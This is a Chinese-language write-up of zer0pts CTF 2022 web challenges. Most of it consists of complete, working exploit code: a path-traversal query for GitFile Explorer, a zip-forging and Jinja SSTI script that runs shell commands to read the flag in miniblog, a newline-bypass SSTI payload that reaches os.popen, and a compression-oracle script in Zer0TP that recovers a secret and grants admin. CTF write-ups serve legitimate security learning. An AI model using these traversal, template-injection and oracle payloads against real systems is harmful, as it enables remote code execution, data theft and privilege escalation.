zer0ptsctf
GitFile Explorer
下载源码,可以发现是用file_put_contents
进行文件读取。
if ($service) {
$url = craft_url($service, $owner, $repo, $branch, $file);
if (preg_match("/^http.+\/\/.*(github|gitlab|bitbucket)/m", $url) === 1) {
$result = file_get_contents($url);
}
}
本地对file_get_contents
进行测试的时候发现
<?php
echo file_get_contents("/asd/../etc/passwd");
即使asd
文件夹即使不存在,上面也能正确读取,估计又是php的特性了。只要有../
就能忽视前面那个不存在的文件夹。所以直接构造payload符合正则表达式即可。
/?service=https/..//github/&owner=..&repo=..&branch=..&file=../flag.txt
由于https
后面没跟分号,所以将这个判断为文件夹了。
miniblog
不是很懂在赣神魔(涉及CRC完全不懂,还有二进制写zip)。直接从wp来分析吧:
from ptrlib import *
from itsdangerous import URLSafeTimedSerializer
from flask.sessions import TaggedJSONSerializer
import base64
import binascii
import hashlib
import json
import os
import requests
import zipfile
HOST = os.getenv("HOST", "miniblog.ctf.zer0pts.com")
PORT = os.getenv("PORT", "8008")
CODE = "{{ request.application.__globals__.__builtins__.__import__('subprocess').check_output('cat /flag*.txt',shell=True) }}"
CODE += "A"*(0x100 - len(CODE))
# Login as code executor
r = requests.post(f"http://{HOST}:{PORT}/api/login",
headers={"Content-Type": "application/json"},
data=json.dumps({"username": "EvilFennec",
"password": "TibetanFox"}))
fox_cookies = r.cookies
serializer = TaggedJSONSerializer()
signer_kwargs = {
'key_derivation': 'hmac',
'digest_method': hashlib.sha1
}
s = URLSafeTimedSerializer(
b'',
salt='cookie-session',
serializer=serializer,
signer_kwargs=signer_kwargs
)
_, fox_session = s.loads_unsafe(fox_cookies["session"])
username = fox_session['username']
passhash = fox_session['passhash']
workdir = fox_session['workdir']
# Find ascii CRC32
logger.info("Searching CRC32...")
ORIG = CODE
while True:
data = {
"title": "exploit",
"id": "exploit",
"date": "1919/8/10 11:45:14",
"author": "a",
"content": CODE
}
x = json.dumps(data).encode()
crc32 = binascii.crc32(x)
if all([(crc32 >> i) & 0xff < 0x80 for i in range(0, 32, 8)]):
if all([(len(x) >> i) & 0xff < 0x80 for i in range(0, 32, 8)]):
break
else:
CODE = ORIG + 'A'*0x100
else:
CODE += "A"
logger.info("CRC Found: " + hex(crc32))
logger.info("ASCII Length: " + hex(len(x)))
logger.info(CODE)
# Create a malicious zip comment
os.makedirs(f"post/{workdir}", exist_ok=True)
with open(f"post/{workdir}/exploit.json", "w") as f:
json.dump(data, f)
with zipfile.ZipFile("exploit.zip", "w", zipfile.ZIP_STORED) as z:
z.write(f"post/{workdir}/exploit.json")
z.comment = f'SIGNATURE:{username}:{passhash}'.encode()
# Malform zip
logger.info("Creating ascii zip...")
size_original = 0x30
while True:
with open("exploit.zip", "rb") as f:
payload = f.read()
sz = len(payload)
lfh = payload.find(b'PK\x03\x04')
cdh = payload.find(b'PK\x01\x02')
ecdr = payload.find(b'PK\x05\x06')
## 1. Modify End of Central Directory Record
# Modify offset to CDH
payload = payload[:ecdr+0x10] + p32(cdh+size_original) + payload[ecdr+0x14:]
## 2. Modify Central Directory Header
# Modify relative offset to LFH
payload = payload[:cdh+0x2a] + p32(0x000 + size_original) + payload[cdh+0x2e:]
# Modify timestamp
payload = payload[:cdh+0xa] + p32(0) + payload[cdh+0xe:]
# Modify attr
payload = payload[:cdh+0x26] + p32(0x00000000) + payload[cdh+0x2a:]
## 3. Modify Local File Header
# Modify timestamp
payload = payload[:lfh+0xa] + p32(0) + payload[lfh+0xe:]
payload = b"A" * (size_original - 0x30) + payload
for c in payload:
if c > 0x7f:
break
else:
break
size_original += 1
logger.info("Created ascii zip!")
# ZIP comment injection
r = requests.post(f"http://{HOST}:{PORT}/api/login",
headers={"Content-Type": "application/json"},
data=json.dumps({"username": bytes2str(payload),
"password": "whatever"}))
cookies = r.cookies
logger.info("Registered malicious user")
# Export crafted exploit
r = requests.get(f"http://{HOST}:{PORT}/api/export",
cookies=cookies)
exp = json.loads(r.text)["export"]
logger.info("Exploit exported!")
# Import the exploit
r = requests.post(f"http://{HOST}:{PORT}/api/import",
headers={"Content-Type": "application/json"},
data=json.dumps({"import": exp}),
cookies=fox_cookies)
logger.info("Exploit imported!")
# Leak flag
logger.info("SSTI go brrrr...")
r = requests.get(f"http://{HOST}:{PORT}/post/exploit",
cookies=fox_cookies)
print(r.text)
- 先随便登录了一个用户。目的是获取cookie里面的信息,比如
passhash
之类的。然后就是获取crc32(这里的代码看不懂),估计是为了绕过源码的AES加解密:cipher = AES.new(app.encryption_key, AES.MODE_CFB, encbuf[:16]) buf = io.BytesIO(cipher.decrypt(encbuf[16:]))
- 构造恶意的zip文件注释。
其实就是给了一个可以写额外的描述数据的地方(.ZIP Comment),他的长度由前面的.ZIP file comment length(n)来控制。也就是zip允许你在它的文件结尾后面额外的追加内容,而不会影响前面的数据。描述文件的长度是两个字节,也就是一个short的长度,所以理论上可以寻址2^16个位置
源码里面有解析zip comment的判断:
if z.comment != f'SIGNATURE:{username}:{passhash}'.encode():
return 'This is not your database'
- 构造zip数据包(看不懂),本地cat了一下:
PKdtvT~J\zdd2post/cb155081239c3e8f74e161a0dde579de/exploit.json{"title": "exploit", "id": "exploit", "date": "1919/8/10 11:45:14", "author": "a", "content": "{{ request.application.__globals__.__builtins__.__import__('subprocess').check_output('cat /flag*.txt',shell=True) }}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}PKdtvT~J\zdd2��post/cb155081239c3e8f74e161a0dde579de/exploit.jsonPK`�5SIGNATURE:EvilFennec:15978dc442e7c92def5fc5b47d84592b
- 用构造的数据包变成string当作用户名进行登录
- 将该用户的内容进行export
- 将export的文件重新进行import
- 请求路径
post/exploit
即可得到flag。
个人猜想:可能是因为username已经是一个完整的zip文件,然后解压的时候也把username那里解压了。本地按照逻辑复现了一下zip的操作:
import glob
import io
import zipfile
from ptrlib import p32
def export_posts(username, passhash):
"""Export all blog posts with encryption and signature"""
buf = "test.zip"
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_STORED) as z:
# Archive blog posts
for path in glob.glob(f'post/cb155081239c3e8f74e161a0dde579de/*.json'):
z.write(path)
# Add signature so that anyone else cannot import this backup
z.comment = f'SIGNATURE:{username}:{passhash}'.encode()
# Encrypt archive so that anyone else cannot read the contents
size_original = 0x30
while True:
with open("exploit.zip", "rb") as f:
payload = f.read()
sz = len(payload)
lfh = payload.find(b'PK\x03\x04')
cdh = payload.find(b'PK\x01\x02')
ecdr = payload.find(b'PK\x05\x06')
## 1. Modify End of Central Directory Record
# Modify offset to CDH
payload = payload[:ecdr+0x10] + p32(cdh+size_original) + payload[ecdr+0x14:]
## 2. Modify Central Directory Header
# Modify relative offset to LFH
payload = payload[:cdh+0x2a] + p32(0x000 + size_original) + payload[cdh+0x2e:]
# Modify timestamp
payload = payload[:cdh+0xa] + p32(0) + payload[cdh+0xe:]
# Modify attr
payload = payload[:cdh+0x26] + p32(0x00000000) + payload[cdh+0x2a:]
## 3. Modify Local File Header
# Modify timestamp
payload = payload[:lfh+0xa] + p32(0) + payload[lfh+0xe:]
payload = b"A" * (size_original - 0x30) + payload
for c in payload:
if c > 0x7f:
break
else:
break
size_original += 1
export_posts(payload, "asd")
然后确实能解压生成的zip文件,而且解压结果是把./post
解压出来,从而把构造的exploit.json读取了出来。如果正常进行文章创建,是会把{{}}
过滤的,但是import没有过滤,所以content是被ssti注入了的,所以可以得到flag。构造zip文件那部分还是不是很懂😥
非预期
直接用\n绕过正则,然后就是正常的ssti注入流程。获取所有基类:
{"title":"asd","content":"{{\n''.__class__.__base__.__subclasses__()}}"}
找到可利用类:
a = '''
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'uwsgi._Input'>, <class 'uwsgi.SymbolsImporter'>, <class 'uwsgi.ZipImporter'>, <class 'uwsgi.SymbolsZipImporter'>, <class '_ast.AST'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'Crypto.Util._raw_api._VoidPointer'>, <class 'CArgObject'>, <class '_ctypes.CThunkObject'>, <class '_ctypes._CData'>, <class '_ctypes.CField'>, <class '_ctypes.DictRemover'>, <class '_ctypes.StructParam_Type'>, <class 'Struct'>, <class 'unpack_iterator'>, <class 'ctypes.CDLL'>, <class 'ctypes.LibraryLoader'>, <class 'enum.auto'>, <enum 'Enum'>, <class 're.Pattern'>, <class 're.Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 're.Scanner'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class '_bz2.BZ2Compressor'>, <class '_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressor'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'select.poll'>, <class 'select.epoll'>, <class 'selectors.BaseSelector'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class '_sha512.sha384'>, <class '_sha512.sha512'>, <class '_random.Random'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'tempfile.TemporaryDirectory'>, <class 'Crypto.Util._raw_api.SmartPointer'>, <class 'Crypto.Cipher._mode_ecb.EcbMode'>, <class 'Crypto.Random._UrandomRNG'>, <class 'Crypto.Cipher._mode_cbc.CbcMode'>, <class 'Crypto.Cipher._mode_cfb.CfbMode'>, <class 'Crypto.Cipher._mode_ofb.OfbMode'>, <class 'Crypto.Cipher._mode_ctr.CtrMode'>, <class 'Crypto.Cipher._mode_openpgp.OpenPgpMode'>, <class 'Crypto.Hash.BLAKE2s.BLAKE2s_Hash'>, <class 'Crypto.Cipher._mode_ccm.Enum'>, <class 'Crypto.Cipher._mode_ccm.CcmMode'>, <class 'Crypto.Hash.CMAC.CMAC'>, <class 'Crypto.Cipher._mode_eax.EaxMode'>, <class 'Crypto.Hash.SHA1.SHA1Hash'>, <class 'Crypto.Hash.SHA256.SHA256Hash'>, <class 'Crypto.Hash.MD5.MD5Hash'>, <class 'Crypto.Hash.HMAC.HMAC'>, <class 'Crypto.Protocol.KDF._S2V'>, <class 'Crypto.Cipher._mode_siv.SivMode'>, <class 'Crypto.Cipher._mode_gcm._GHASH'>, <class 'Crypto.Cipher._mode_gcm.Enum'>, <class 'Crypto.Cipher._mode_gcm.GcmMode'>, <class 'Crypto.Cipher._mode_ocb.OcbMode'>, <class 'datetime.date'>, <class 'datetime.timedelta'>, <class 'datetime.time'>, <class 'datetime.tzinfo'>, <class 'string.Template'>, <class 'string.Formatter'>, <class 'typing._Final'>, <class 'typing._Immutable'>, <class 'typing.Generic'>, <class 'typing._TypingEmpty'>, <class 'typing._TypingEllipsis'>, <class 'typing.NamedTuple'>, <class 'typing.io'>, <class 'typing.re'>, <class 'markupsafe._MarkupEscapeHelper'>, <class '_socket.socket'>, <class 'socketserver.BaseServer'>, <class 'socketserver.ForkingMixIn'>, <class 'socketserver._NoThreads'>, <class 'socketserver.ThreadingMixIn'>, <class 'socketserver.BaseRequestHandler'>, <class 'urllib.parse._ResultMixinStr'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class 'calendar._localized_month'>, <class 'calendar._localized_day'>, <class 'calendar.Calendar'>, <class 'calendar.different_locale'>, <class 'email._parseaddr.AddrlistClass'>, <class 'email.charset.Charset'>, <class 'email.header.Header'>, <class 'email.header._ValueFormatter'>, <class 'email._policybase._PolicyBase'>, <class 'email.feedparser.BufferedSubFile'>, <class 'email.feedparser.FeedParser'>, <class 'email.parser.Parser'>, <class 'email.parser.BytesParser'>, <class 'email.message.Message'>, <class 'http.client.HTTPConnection'>, <class '_ssl._SSLContext'>, <class '_ssl._SSLSocket'>, <class '_ssl.MemoryBIO'>, <class '_ssl.Session'>, <class 'ssl.SSLObject'>, <class 'mimetypes.MimeTypes'>, <class 'dis.Bytecode'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect._void'>, <class 'inspect._empty'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'werkzeug._internal._Missing'>, <class 'werkzeug.exceptions.Aborter'>, <class 'werkzeug.urls.Href'>, <class '_hashlib.HASH'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class '_sha3.sha3_224'>, <class '_sha3.sha3_256'>, <class '_sha3.sha3_384'>, <class '_sha3.sha3_512'>, <class '_sha3.shake_128'>, <class '_sha3.shake_256'>, <class 'urllib.request.Request'>, <class 'urllib.request.OpenerDirector'>, <class 'urllib.request.BaseHandler'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'urllib.request.URLopener'>, <class 'urllib.request.ftpwrapper'>, <class 'http.cookiejar.Cookie'>, <class 'http.cookiejar.CookiePolicy'>, <class 'http.cookiejar.Absent'>, <class 'http.cookiejar.CookieJar'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>, <class 'dataclasses._MISSING_TYPE'>, <class 'dataclasses._FIELD_BASE'>, <class 'dataclasses.InitVar'>, <class 'dataclasses.Field'>, <class 'dataclasses._DataclassParams'>, <class 'werkzeug.sansio.multipart.Event'>, <class 'werkzeug.sansio.multipart.MultipartDecoder'>, <class 'werkzeug.sansio.multipart.MultipartEncoder'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>, <class 'pkgutil.ImpImporter'>, <class 'pkgutil.ImpLoader'>, <class 'hmac.HMAC'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, <class '_json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.user_agent.UserAgent'>, <class 'werkzeug.useragents._UserAgentParser'>, <class 'werkzeug.sansio.request.Request'>, <class 'werkzeug.wrappers.request.StreamOnlyMixin'>, <class 'werkzeug.sansio.response.Response'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.wrappers.response.ResponseStreamMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.test._TestCookieHeaders'>, <class 'werkzeug.test._TestCookieResponse'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <class 'uuid.UUID'>, <class '_pickle.Unpickler'>, <class '_pickle.Pickler'>, <class '_pickle.Pdata'>, <class '_pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class 'pickle._Framer'>, <class 'pickle._Unframer'>, <class 'pickle._Pickler'>, <class 'pickle._Unpickler'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.nodes.Node'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContext'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'numbers.Number'>, <class 'ast.NodeVisitor'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalStack'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local._ProxyLookup'>, <class 'werkzeug.local.LocalProxy'>, <class 'difflib.SequenceMatcher'>, <class 'difflib.Differ'>, <class 'difflib.HtmlDiff'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class 'werkzeug.routing.MapAdapter'>, <class 'gettext.NullTranslations'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.types.ParamType'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'flask.signals.Namespace'>, <class 'flask.signals._FakeSignal'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'flask.scaffold.Scaffold'>, <class 'itsdangerous._json._CompactJSON'>, <class 'decimal.Decimal'>, <class 'decimal.Context'>, <class 'decimal.SignalDictMixin'>, <class 'decimal.ContextManager'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous.serializer.Serializer'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'flask.blueprints.BlueprintSetupState'>, <class 'zipfile.ZipInfo'>, <class 'zipfile.LZMACompressor'>, <class 'zipfile.LZMADecompressor'>, <class 'zipfile._SharedFile'>, <class 'zipfile._Tellable'>, <class 'zipfile.ZipFile'>, <class 'zipfile.Path'>, <class 'app.Database'>, <class '__future__._Feature'>, <class '_strptime.LocaleTime'>]
'''
a = a.replace('\n', '')
print()
b = a.split('>, <')
for i in range(len(b)):
if b[i].find('codecs.IncrementalEncoder') != -1:
print(i)
break
RCE:
{"title":"asd","content":"{{\n''.__class__.__base__.__subclasses__()[107].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"cat /flag-wowRCEwow.txt\").read()')}}"}
Disco Party & Festival
跟discord机器人有关,预期解看不懂,等一波非预期详解。
预期解https://hackmd.io/6J49ly7SSAC2pon0IDLxBg#Disco-PartyFestival---zer0pts-CTF-2022
Zer0TP
更加看不懂。wp:https://hackmd.io/NmgkCZwPTk-XRoDk9d66JQ
给个exp:
import os
from itertools import product
from random import shuffle
import string
import zlib
import base64
import requests
from hashlib import md5
APP_HOST = os.getenv("APP_HOST", "demoapp.ctf.zer0pts.com")
APP_PORT = os.getenv("APP_PORT", "8077")
ZER0TP_HOST = os.getenv("ZER0TP_HOST", "zer0tp.ctf.zer0pts.com")
ZER0TP_PORT = os.getenv("ZER0TP_PORT", "8080")
SECRET_BYTES = 12
SECRET_LEN = len(base64.b64encode(os.urandom(SECRET_BYTES)))
# |Σ|=4, n=3
DE_BRUIJN_TEMPLATE = b'000100200301101201302102202303103203311121131221231321332223233300'[:0x30-5]
DE_BRUIJN = DE_BRUIJN_TEMPLATE
l = list(range(0x20))
shuffle(l)
head = l[:4]
for i, c in enumerate(head):
DE_BRUIJN = DE_BRUIJN.replace(str(i).encode(), bytearray([c]))
prev_username = DE_BRUIJN
password = 'p4ssw0rd'
res = requests.post(f'http://{ZER0TP_HOST}:{ZER0TP_PORT}/api/register', {
"username": prev_username,
"password": password
}).json()
assert res["result"] == "OK"
print(f'[+] registered as {prev_username}')
q = 0
def oracle(query: bytes):
global q, prev_username
q += 1
assert all(0 <= c < 0x80 for c in query) and len(query) < 50
res = requests.post(f'http://{ZER0TP_HOST}:{ZER0TP_PORT}/api/rename', {
"username": prev_username.decode(),
"password": password,
"new_username": query.decode(),
"new_password": password
}).json()
assert res["result"] == "OK"
prev_username = query
res = requests.post(f'http://{ZER0TP_HOST}:{ZER0TP_PORT}/api/login', {
"username": query.decode(),
"password": password
}).json()
assert res["result"] == "OK"
return res["id"].encode(), bytes.fromhex(res["token"])
block_lens = [
16, # zlib header
1, # bfinal
2, # btypes
5, # code for character/length length
5, # code for distance length
4, # code for huffman length
*([3] * 10), 1 # stager canonical codes
]
assert(sum(block_lens) == 64)
blocks = [(l, set()) for l in block_lens]
def add_block_info(data):
bindata = int.from_bytes(data, "little")
def next(n):
nonlocal bindata
res = bindata & ((1 << n) - 1)
bindata >>= n
return res
for length, cands in blocks:
val = next(length)
cands.add(val)
PREFIX = b'#$'
ALPHABET = (string.ascii_letters + string.digits + "+/").encode()
print("[+] calculating candidates of each blocks...")
for i in range(1000):
s = base64.b64encode(os.urandom(SECRET_BYTES))
cur = PREFIX
while len(cur) != len(PREFIX + s):
for c in ALPHABET:
payload = DE_BRUIJN + cur[-2:] + bytearray([c]) + PREFIX
data = zlib.compress(payload + s)
add_block_info(data)
cur += bytearray([s[len(cur) - len(PREFIX)]])
combs = 1
for _, cands in blocks: combs *= len(cands)
print(f"[+] calculated.")
assert len(blocks[1][1]) == 1
assert len(blocks[2][1]) == 1
prod = list(product(*[[*cands] for _, cands in blocks]))
def compute_blocks(salt, hash):
for block_vals in prod:
data = 0
bit_len = 0
def add(b, len):
nonlocal data, bit_len
assert b < 2 ** len
data += (b << bit_len)
bit_len += len
for val, length in zip(block_vals, block_lens):
add(val, length)
assert(bit_len == 64)
cur_hash = md5(salt + data.to_bytes(bit_len // 8, "little")).digest()
if hash != cur_hash: continue
return block_vals
assert False
DEBUG = True
init = PREFIX
def solve(cur):
print(f'[+] {cur=}')
if len(cur) - len(init) == SECRET_LEN:
return cur[len(init):]
res = None
for c in ALPHABET:
if res is not None: break
payload = DE_BRUIJN + cur[-2:] + bytearray([c]) + PREFIX
salt, hash = oracle(payload)
if compute_blocks(salt, hash)[3] == 0: continue
res = solve(cur + bytearray([c]))
return res
res = solve(init)
assert res is not None
response = requests.post(f'http://{ZER0TP_HOST}:{ZER0TP_PORT}/api/set_admin', {
"username": prev_username.decode(),
"secret": res.decode(),
"admin": "1"
}).json()
print(response)
assert response["result"] == "OK"
username = base64.b64encode(os.urandom(SECRET_BYTES)).decode()
id, token = oracle(username.encode())
s = requests.Session()
content = s.post(f'http://{APP_HOST}:{APP_PORT}/login', {
"username": username,
"id": id,
"token": token.hex()
}).content
print(content)
print(content.split(b'<h1>')[1].split(b'</h1>')[0])
print(f'{q=}')